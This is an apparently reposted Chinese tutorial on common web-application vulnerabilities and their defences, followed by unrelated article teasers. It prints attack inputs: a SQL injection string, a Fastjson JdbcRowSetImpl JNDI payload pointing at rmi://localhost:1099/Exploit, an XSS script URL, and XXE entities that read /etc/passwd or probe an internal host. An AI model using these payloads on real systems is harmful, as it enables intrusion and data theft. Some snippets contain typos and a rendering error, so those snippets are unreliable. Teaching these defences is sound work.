程序安全漏洞

news2024/11/25 18:30:19

一、SQL注入

一种代码注入技术,一般被应用于攻击web应用程序。
通过在web应用接口传入一些特殊参数字符,来欺骗应用服务器,执行恶意的SQL命令,以达到非法获取系统信息的目的。它目前是黑客对数据库进行攻击的最常用手段之一。

常见的业务场景:在web表单搜索框输入员工名字,然后后台查询出对应名字的员工。
前端页面把一个名字参数name传到后台,然后后台通过SQL把结果查询出来
在这里插入图片描述

name = "田螺";//前端传递
sql = "select * from employee where nama=" + name;

如果前端传过来的是 ’ ’ or ‘1’=‘1’,这个SQL会把所有的员工信息全都查出来了

select * from employee where name='' of '1'='1';

防止SQL注入

1、使用#{}而不是KaTeX parse error: Expected 'EOF', got '#' at position 15: {} MyBatis中,使用#̲{}而不是{},可以很大程度防止sql注入

  • 因为#{}是一个参数占位符,对于字符串类型,会自动加上"",其他类型不加。由于Mybatis采用预编译,其后的参数不会再进行SQL编译,所以一定程度上防止SQL注入。
  • ${}是一个简单的字符串替换,字符串是什么,就会解析成什么,存在SQL注入风险

2、对于SQL异常不要暴露响应给用户,可以自定义异常进行响应。对于前端传递的参数要进行过滤验证。

二、JSON反序列化漏洞——如Fastjson安全漏洞

对象和Json格式的字符串,来回转换。
在这里插入图片描述

JSON反序列化漏洞如何被攻击?

public class User {
    private String name;

    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了name方法");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了age方法");
        this.age = age;
    }

    public static void main(String[] args) {
        String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"Java3y\"}";
        User user = JSON.parseObject(str,User.class);
    }
}

在这里插入图片描述
加了@type属性就能调用对应对象的setXXX方法,而@type标志指定反序列化成某个类。
通过找到某个类,进而找到某个setXXX方法中通过构造的命令执行,即可达到攻击。

再如:
在这里插入图片描述

 public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }
    
      public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }
    
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

setDataSourceName 简单设置了设置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法调用,参数刚好就是在setDataSourceName中设置的dataSourceName。

public class FastjsonTest {

    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

在这里插入图片描述
如何解决json发序列换的漏洞问题

  • 升级版本,fastjson后面版本,增强AutoType打开时的安全性fastjson,增加了AutoType黑名单等
  • 反序列换有fastjson/gson/jackson等类型,可以替换其他类型
  • 升级+打开safemode

三、XSS攻击

XSS 攻击全称跨站脚本攻击(Cross-Site Scripting),这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS攻击一般分三种类型:存储型 、反射型 、DOM型XSS
在这里插入图片描述

案例:

<input type="text" name="name" />
<input type="submit" value="搜索" onclick="http://127.0.0.1/search?name=">
</body>

在这里插入图片描述

①、用户输入搜索信息,点击搜索按钮,就是到达正常服务器的。如果黑客在url后面的参数中加入如下的恶意攻击代码。

http://127.0.0.1/search?keyword="<a href ="http://www.baidu.com"><script>alert('XSS');</script></a>

②、当用户打开带有恶意代码的URL的时候,正常服务器会解析出请求参数 name,得到"",拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

③、用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
在这里插入图片描述

④、实际上黑客攻击的时候,是引诱用户输入某些重要信息,然后跳到他们自己的服务器,以窃取用户提交的内容信息。

如果解决XSS攻击问题

  • 不相信用户的输入,对输入进行过滤,过滤标签等,只允许合法值。
  • HTML 转义
    在这里插入图片描述
  • 对于链接跳转,如<a href=“xxx” 等,要校验内容,禁止以script开头的非法链接。
  • 限制输入长度等等

四、SCRF攻击

CSRF,跨站请求伪造(英语:Cross-site request forgery),简单点说就是,攻击者盗用了你的身份,以你的名义发送恶意请求。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

在这里插入图片描述

①、Tom 登陆银行,没有退出,浏览器包含了Tom在银行的身份认证信息。
②、黑客Jerry将伪造的转账请求,包含在存在帖子
③、Tom在银行网站保持登陆的情况下,浏览帖子
④、将伪造的转账请求连同身份认证信息,发送到银行网站
⑤、银行网站看到身份认证信息,以为就是Tom的合法操作,最后造成Tom资金损失。

解决CSRF攻击

  • 检查Referer字段。HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。
  • 添加校验token。

五、文件上传下载漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。

解决方案:

  • 限制服务器相关文件目录的权限
  • 验上传的文件,如后缀名 禁止上传恶意代码的文件
  • 尽量禁止使用前端上传的文件名

文件下载漏洞,举个例子,使用 … 等字符,使应用读取到指定目录之外的其他目录中的文件内容,从而可能读取到服务器的其他相关重要信息。
在这里插入图片描述

六、敏感数据泄露

一般敏感信息包括密码、用户手机身份证信息、财务数据等等,由于web应用或者API未加密或者疏忽保护,导致这些数据极易被黑客利用。所以我们需要保护好用户的隐私数据,比如用户密码加密保存,请求采用https加密,重要第三方接口采用加签验签,服务端日志不打印敏感数据等等。

七、XXE漏洞

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

场景一:攻击者尝试从服务端提取数据

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">]>
]>
<foo>&xxe;</foo>

场景二: 攻击者通过将上面的实体行更改为一下内容来探测服务器的专用网络

<!ENTITY xxe SYSTEM "https://192.168.1.1/private">]>

场景三:攻击者通过恶意文件执行拒绝服务攻击

<!ENTITY xxe SYSTEM "file:///dev/random">]>

如何防御XXE

  • 使用开发语言提供的禁用外部实体的方法
  • 过滤用户提交的XML数据,过滤<!DOCTYPE和<!ENTITY等关键词。

八、DDOS攻击

DDoS 攻击,英文全称是 Distributed Denial of Service,谷歌翻译过来就是“分布式拒绝服务”。一般来说是指攻击者对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。在线游戏、互联网金融等领域是 DDoS 攻击的高发行业。

如何应对 DDoS 攻击?

  • 高防服务器,即能独立硬防御 50Gbps 以上的服务器,能够帮助网站拒绝服务攻击,定期扫描网络主节点等
  • 黑名单
  • DDoS 清洗
  • CDN 加速

九、框架或应用漏洞

  • Struts 框架漏洞:远程命令执行漏洞和开放重定向漏洞
  • QQ Browser 9.6:API 权限控制问题导致泄露隐私模式
  • Oracle GlassFish Server:REST CSRF
  • WebLogic: 未授权命令执行漏洞
  • Hacking Docker:Registry API 未授权访问
  • WordPress 4.7 / 4.7.1:REST API 内容注入漏洞

十、弱口令、证书有效性验证、内部接口在公网暴露、未鉴权等权限相关漏洞

弱口令:

  • 空口令
  • 口令长度小于8
  • 口令不应该为连续的某个字符(QQQQQQ)
  • 账号密码相同(例:root:root)
  • 口令与账号相反(例:root:toor)
  • 口令纯数字(例:112312324234, 电话号)
  • 口令纯字母(例:asdjfhask)
  • 口令已数字代替字母(例:hello word, hell0 w0rd)
  • 口令采用连续性组合(例:123456,abcdef,654321,fedcba)
  • 服务/设备默认出厂口令

证书有效性验证漏洞:

如果不对证书进行有效性验证,那https就如同虚设啦。
如果是客户生成的证书,需要跟系统可信根CA形成信任链,不能为了解决ssl证书报错的问题,选择在客户端代码中信任客户端中所有证书的方式。
证书快过期时,需要提前更换。

未鉴权等权限相关漏洞

一些比较重要的接口,一般建议鉴权。比如你查询某账号的转账记录,肯定需要先校验该账号是不是操作人旗下的啦。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1021384.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【线性回归、岭回归、Lasso回归分别预测患者糖尿病病情】数据挖掘实验一

Ⅰ、项目任务要求 任务描述&#xff1a;将“diabetes”糖尿病患者数据集划分为训练集和测试集&#xff0c;利用训练集分别结合线性回归、岭回归、Lasso回归建立预测模型&#xff0c;再利用测试集来预测糖尿病患者病情并验证预测模型的拟合能力。具体任务要求如下&#xff1a; …

服务网格和微服务架构的关系:理解服务网格在微服务架构中的角色和作用

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

现在进入广告行业好做吗?

广告行业真的很好&#xff0c;大家快来…… 在这里你可以无限发挥你的创意和想象力&#xff0c;有趣的同事&#xff0c;不刻板的工作内容&#xff0c;与爱豆合作&#xff0c;偶尔见见明星&#xff0c;出入城市CBD&#xff0c;一身名牌&#xff0c;精美PPT挥斥方遒&#xff0c;…

grafana结合Skywalking追踪Trace(一)

SW应用中对Trace的跟踪一直占有重要的地位&#xff0c;即可以用户指定的tag值&#xff0c;可以筛选出感兴趣的trace(跟踪链)&#xff0c;用户可以通过跟踪链追踪各个Span的详细情况。 但是在使用SW OAP原生页面中会存在两个问题&#xff1a; 1&#xff09; Trace数量太多了&…

Linux Ubuntu命令行快速配置C++开发环境

本文介绍在Linux操作系统的Ubuntu版本中&#xff0c;基于命令行&#xff0c;快速配置C 编辑、编译、运行的代码开发环境的简便方法。 在之前的文章Linux操作系统Ubuntu 22.04配置Visual Studio Code与C代码开发环境的方法(https://blog.csdn.net/zhebushibiaoshifu/article/det…

Springboot项目升级2.2.x升至2.7.x

依赖管理 spring-boot-starter-parent 升级为2.7.1 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId> <!-- 升级为2.7.x的版本--><version>2.7.1</version>…

【STM32】WWDG—窗口看门狗

在一个设定好的区间进行喂狗 与独立看门狗不同的是&#xff0c;独立看门狗只需要在计时到0之前喂狗。而窗口看门狗需要在设定好的区间内进行喂狗&#xff0c;否则进行reset。 下限 递减计数器不断的往下递减计数&#xff0c;当减到一个固定值 0X40时还不喂狗的话&#xff0c…

《ADS2011射频电路设计与仿真实例》功率放大器设计的输入输出匹配

徐兴福这本书的6.6 Smith圆图匹配这一节中具体匹配时&#xff0c;直接给出了电容与串联微带的值&#xff0c;没有给出推导过程&#xff0c;我一开始以为是省略了详细推导过程&#xff0c;后来发现好像基本上是可以随便自己设的。以输入匹配&#xff08;书本6.6.4输入匹配电路的…

​安徽农业大学《乡村振兴战略下传统村落文化旅游设计》许少辉博士新著——2023学生开学季辉少许流动站

​安徽农业大学《乡村振兴战略下传统村落文化旅游设计》许少辉博士新著——2023学生开学季辉少许流动站

Archicad 26 for Mac - 打造卓越的3D建模工具

随着建筑设计和规划的日益复杂化&#xff0c;寻找一款功能强大且易于使用的3D建模工具变得至关重要。而Archicad 26 for Mac正是您在建筑设计领域中的理想选择。无论您是一名建筑师、室内设计师还是建筑工程师&#xff0c;Archicad 26都将成为您的得力助手。 作为一款全球领先…

计算机竞赛 深度学习 python opencv 动物识别与检测

文章目录 0 前言1 深度学习实现动物识别与检测2 卷积神经网络2.1卷积层2.2 池化层2.3 激活函数2.4 全连接层2.5 使用tensorflow中keras模块实现卷积神经网络 3 YOLOV53.1 网络架构图3.2 输入端3.3 基准网络3.4 Neck网络3.5 Head输出层 4 数据集准备4.1 数据标注简介4.2 数据保存…

python脚本(渗透测试)

python爬取edusrc 通过此脚本&#xff0c;可以爬取edusrc的目标信息&#xff0c;生成目标字典&#xff0c;为下一步开发自动化测试工具做准备 import queue import threading import timeimport requests from bs4 import BeautifulSoup import re def get_edu_name():while …

算法-单词搜索 II

算法-单词搜索 II 1 题目概述 1.1 题目出处 https://leetcode.cn/problems/word-search-ii/description/?envTypestudy-plan-v2&envIdtop-interview-150 1.2 题目描述 2 DFS 2.1 解题思路 每个格子往上下左右四个方向DFS&#xff0c;拼接后的单词如果在答案集中&…

【测试开发】基础篇 · 专业术语 · 软件测试生命周期 · bug的描述 · bug的级别 · bug的生命周期 · 处理争执

【测试开发】基础篇 文章目录 【测试开发】基础篇1. 软件测试生命周期1.1 软件生命周期1.2 软件测试生命周期 2. 描述bug3. 如何定义bug的级别3.1 为什么要对bug进行级别划分3.2 bug的一些常见级别 4. bug的生命周期5. 产生争执这么怎么办&#xff08;处理人际关系&#xff09;…

启山智软/电商商城100%开源

介绍 想要了解代码规范&#xff0c;学习商城解决方案&#xff0c;点击下方官网链接联系客服 作者&#xff1a;启山智软 官网及博客&#xff1a;启山智软官网、CSDN、掘金、gitee 简介&#xff1a;启山智软目前开发了全渠道电商商城系统&#xff0c;本商城是基于SpringCloud的商…

阿里云配置炼丹环境全流程 (从购买云服务器到成功运行代码)

自己的小破笔记本实在炼不动高品阶的丹药, 不得已用了云服务器. 捣鼓了一天, 终于是成功把代码在云服务器上跑起来了. 将这一过程记录一下, 方便之后参考. 第一步, 创建云服务器实例 找到控制台, 点 “云服务器 ECS”, 然后点击创建实例. 会出现以下界面: 这里如何选择合适的…

竞赛 基于深度学习的人脸性别年龄识别 - 图像识别 opencv

文章目录 0 前言1 课题描述2 实现效果3 算法实现原理3.1 数据集3.2 深度学习识别算法3.3 特征提取主干网络3.4 总体实现流程 4 具体实现4.1 预训练数据格式4.2 部分实现代码 5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 毕业设计…

RocketMQ编程使用和应用场景

RocketMQ消息模型 一、RocketMQ客户端基本使用 引入RocketMQ依赖 <dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-client</artifactId><version>4.9.5</version> </dependency>ncy> RocketMQ…

哈希及哈希表的实现

目录 一、哈希的引入 二、概念 三、哈希冲突 四、哈希函数 常见的哈希函数 1、直接定址法 2、除留余数法 五、哈希冲突的解决 1、闭散列 2、开散列 一、哈希的引入 顺序结构以及平衡树中&#xff0c;元素关键码与其存储位置之间没有对应的关系&#xff0c;因此在查找…

【Java 基础篇】Java标准输入流详解:读取用户输入的完整指南

Java是一门流行的编程语言&#xff0c;常用于开发各种类型的应用程序&#xff0c;包括控制台应用、桌面应用、Web应用等。在这些应用中&#xff0c;与用户进行交互是一项重要的任务。本文将重点介绍Java标准输入流&#xff0c;它是Java程序中用于从用户获取输入的关键组成部分。…